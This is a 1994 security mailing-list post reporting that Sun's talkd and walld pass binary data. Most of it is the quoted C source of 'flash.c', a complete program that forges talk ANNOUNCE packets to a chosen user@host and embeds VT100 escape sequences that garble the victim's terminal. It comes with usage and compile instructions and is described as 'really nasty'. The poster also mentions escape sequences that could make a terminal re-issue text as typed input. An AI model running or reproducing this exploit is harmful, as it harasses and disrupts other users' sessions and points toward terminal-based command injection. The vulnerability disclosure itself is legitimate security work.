Wall and talkd pass binary data
Rob Quinn (rjq@phys.ksu.edu)
Tue, 19 Jul 1994 18:06:45 -0500 (CDT)
talkd and walld both pass binary data (on Sun's at least). Here's some source
code I got from a friend. I informed Sun about the wall problem several months
ago. This source just sends a string to mess up your fonts and such, but I've
heard that some terminals have escape sequences that will buffer strings and
re-issue them as if the user had typed them (I know there's an expression or
term for that, but I can't think of it). I searced for this sequence for xterm,
but didn't find one. I didn't look at any other terminal types.
The date of this mail/source was June 9, so it's been out a while.
>> /* flash.c */
>>
>> /* This little program is intended to quickly mess up a user's
>> terminal by issuing a talk request to that person and sending
>> vt100 escape characters that force the user to logout or kill
>> his/her xterm in order to regain a sane view of the text.
>> It the user's message mode is set to off (mesg n) he/she will
>> be unharmed.
>> This program is really nasty :-)
>>
>> Usage: flash user@host
>>
>> try compiling with: gcc -o flash flash.c
>> */
>>
>>
>> #include <sys/types.h>
>> #include <sys/socket.h>
>> #include <netinet/in.h>
>> #include <netdb.h>
>> #include <stdio.h>
>> #include <strings.h>
>>
>> /* this should really be in an include file.. */
>>
>> #define OLD_NAME_SIZE 9
>> #define NAME_SIZE 12
>> #define TTY_SIZE 16
>> typedef struct {
>> char type;
>> char l_name[OLD_NAME_SIZE];
>> char r_name[OLD_NAME_SIZE];
>> char filler;
>> u_long id_num;
>> u_long pid;
>> char r_tty[TTY_SIZE];
>> struct sockaddr_in addr;
>> struct sockaddr_in ctl_addr;
>> } OLD_MSG;
>>
>> typedef struct {
>> u_char vers;
>> char type;
>> u_short filler;
>> u_long id_num;
>> struct sockaddr_in addr;
>> struct sockaddr_in ctl_addr;
>> long pid;
>> char l_name[NAME_SIZE];
>> char r_name[NAME_SIZE];
>> char r_tty[TTY_SIZE];
>> } CTL_MSG;
>>
>> #define TALK_VERSION 1 /* protocol version */
>>
>> /* Types */
>> #define LEAVE_INVITE 0
>> #define LOOK_UP 1
>> #define DELETE 2
>> #define ANNOUNCE 3
>>
>> int current = 1; /* current id.. this to avoid duplications */
>>
>> struct sockaddr_in *getinaddr(char *hostname, u_short port)
>> {
>> static struct sockaddr addr;
>> struct sockaddr_in *address;
>> struct hostent *host;
>>
>> address = (struct sockaddr_in *)&addr;
>> (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
>> /* fill in the easy fields */
>> address->sin_family = AF_INET;
>> address->sin_port = htons(port);
>> /* first, check if the address is an ip address */
>> address->sin_addr.s_addr = inet_addr(hostname);
>> if ( (int)address->sin_addr.s_addr == -1)
>> {
>> /* it wasn't.. so we try it as a long host name */
>> host = gethostbyname(hostname);
>> if (host)
>> {
>> /* wow. It's a host name.. set the fields */
>> /* ?? address->sin_family = host->h_addrtype; */
>> bcopy( host->h_addr, (char *)&address->sin_addr,
>> host->h_length);
>> }
>> else
>> {
>> /* oops.. can't find it.. */
>> puts("Couldn't find address");
>> exit(-1);
>> return (struct sockaddr_in *)0;
>> }
>> }
>> /* all done. */
>> return (struct sockaddr_in *)address;
>> }
>>
>> SendTalkPacket(struct sockaddr_in *target, char *p, int psize)
>> {
>> int s;
>> struct sockaddr sample; /* not used.. only to get the size */
>>
>> s = socket(AF_INET, SOCK_DGRAM, 0);
>> sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) );
>> }
>>
>>
>> new_ANNOUNCE(char *hostname, char *remote, char *local)
>> {
>> CTL_MSG packet;
>> struct sockaddr_in *address;
>>
>> /* create a packet */
>> address = getinaddr(hostname, 666 );
>> address->sin_family = htons(AF_INET);
>>
>> bzero( (char *)&packet, sizeof(packet) );
>> packet.vers = TALK_VERSION;
>> packet.type = ANNOUNCE;
>> packet.pid = getpid();
>> packet.id_num = current;
>> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
>> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
>> strncpy( packet.l_name, local, NAME_SIZE);
>> strncpy( packet.r_name, remote, NAME_SIZE);
>> strncpy( packet.r_tty, "", 1);
>>
>> SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) );
>> }
>>
>> old_ANNOUNCE(char *hostname, char *remote, char *local)
>> {
>> OLD_MSG packet;
>> struct sockaddr_in *address;
>>
>> /* create a packet */
>> address = getinaddr(hostname, 666 );
>> address->sin_family = htons(AF_INET);
>>
>> bzero( (char *)&packet, sizeof(packet) );
>> packet.type = ANNOUNCE;
>> packet.pid = getpid();
>> packet.id_num = current;
>> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
>> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
>> strncpy( packet.l_name, local, NAME_SIZE);
>> strncpy( packet.r_name, remote, NAME_SIZE);
>> strncpy( packet.r_tty, "", 1);
>>
>> SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
>> }
>>
>> main(int argc, char *argv[])
>> {
>> char *hostname, *username;
>> int pid;
>>
>> if ( (pid = fork()) == -1)
>> {
>> perror("fork()");
>> exit(-1);
>> }
>> if ( !pid )
>> {
>> exit(0);
>> }
>> if (argc < 2) {
>> puts("Usage: <finger info> ");
>> exit(5);
>> }
>> username = argv[1];
>> if ( (hostname = (char *)strchr(username, '@')) == NULL )
>> {
>> puts("Invalid name. ");
>> exit(-1);
>> }
>> *hostname = '\0';
>> hostname++;
>>
>> if (*username == '~')
>> username++;
>>
>> #define FIRST "\033c\033(0\033#8"
>> #define SECOND "\033[1;3r\033[J"
>> #define THIRD "\033[5m\033[?5h"
>> new_ANNOUNCE(hostname, username, FIRST);
>> old_ANNOUNCE(hostname, username, FIRST);
>> current++;
>> new_ANNOUNCE(hostname, username, SECOND);
>> new_ANNOUNCE(hostname, username, SECOND);
>> current++;
>> new_ANNOUNCE(hostname, username, THIRD);
>> old_ANNOUNCE(hostname, username, THIRD);
>> }
>>
>>
--
| |
| Rob Quinn |
| rjq@phys.ksu.edu |
| QuinnBob@KSUVM.BITNET |